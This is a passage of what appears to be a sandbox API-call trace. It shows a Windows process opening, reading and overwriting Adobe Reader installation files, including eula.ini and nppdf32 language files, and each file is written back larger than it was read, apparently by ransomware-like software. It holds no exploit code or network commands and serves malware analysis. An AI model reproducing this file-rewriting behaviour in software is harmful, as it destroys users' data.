lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.721] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x42b6 [0036.721] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.721] ReleaseMutex (hMutex=0x128) returned 1 [0036.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liesmich.htm", lpUsedDefaultChar=0x0) returned 12 [0036.721] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.749] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x32b6 [0036.749] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.749] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x32b6 [0036.753] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.753] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.753] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.753] CloseHandle (hObject=0x1ac) returned 1 [0036.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.754] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.754] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6bf [0036.755] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.755] ReleaseMutex (hMutex=0x128) returned 1 [0036.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AGMGPUOptIn.ini", cchWideChar=15, lpMultiByteStr=0x1e6310c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AGMGPUOptIn.ini", lpUsedDefaultChar=0x0) returned 15 [0036.755] ReadFile (in: hFile=0x1ac, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6bf, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6bf, lpOverlapped=0x0) returned 1 [0036.758] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.758] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0xc47, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf2d0*=0xc47, lpOverlapped=0x0) returned 1 [0036.758] CloseHandle (hObject=0x1ac) returned 1 [0036.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.759] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.759] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e00 [0036.759] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.759] ReleaseMutex (hMutex=0x128) returned 1 [0036.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0036.759] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x32cf2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.762] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.762] CloseHandle (hObject=0x1ac) returned 1 [0036.763] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.763] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.763] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e00 [0036.763] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.763] ReleaseMutex (hMutex=0x128) returned 1 [0036.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0036.763] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.766] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.766] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.767] CloseHandle (hObject=0x1ac) returned 1 [0036.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e00 [0036.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.767] ReleaseMutex (hMutex=0x128) returned 1 [0036.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0036.767] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.769] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.769] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.770] CloseHandle (hObject=0x1ac) returned 1 [0036.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e00 [0036.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.770] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.770] ReleaseMutex (hMutex=0x128) returned 1 [0036.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0036.770] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.773] CloseHandle (hObject=0x1ac) returned 1 [0036.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e00 [0036.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.774] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.774] ReleaseMutex (hMutex=0x128) returned 1 [0036.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0036.774] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.776] CloseHandle (hObject=0x1ac) returned 1 [0036.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1e0 [0036.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.777] ReleaseMutex (hMutex=0x128) returned 1 [0036.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6310c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.777] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x32cf2bc*=0x1e0, lpOverlapped=0x0) returned 1 [0036.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.778] WriteFile (in: hFile=0x1ac, lpBuffer=0x2615d98*, nNumberOfBytesToWrite=0x768, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2615d98*, lpNumberOfBytesWritten=0x32cf2d0*=0x768, lpOverlapped=0x0) returned 1 [0036.778] CloseHandle (hObject=0x1ac) returned 1 [0036.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4a8 [0036.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.779] ReleaseMutex (hMutex=0x128) returned 1 [0036.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.779] ReadFile (in: hFile=0x1ac, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4a8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x32cf2bc*=0x4a8, lpOverlapped=0x0) returned 1 [0036.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.780] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf2d0*=0xa30, lpOverlapped=0x0) returned 1 [0036.780] CloseHandle (hObject=0x1ac) returned 1 [0036.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.781] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.781] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x48e [0036.781] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.781] ReleaseMutex (hMutex=0x128) returned 1 [0036.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6310c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.781] ReadFile (in: hFile=0x1ac, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x48e, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x32cf2bc*=0x48e, lpOverlapped=0x0) returned 1 [0036.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x2615d98*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2615d98*, lpNumberOfBytesWritten=0x32cf2d0*=0xa16, lpOverlapped=0x0) returned 1 [0036.783] CloseHandle (hObject=0x1ac) returned 1 [0036.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x470 [0036.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.783] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.783] ReleaseMutex (hMutex=0x128) returned 1 [0036.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 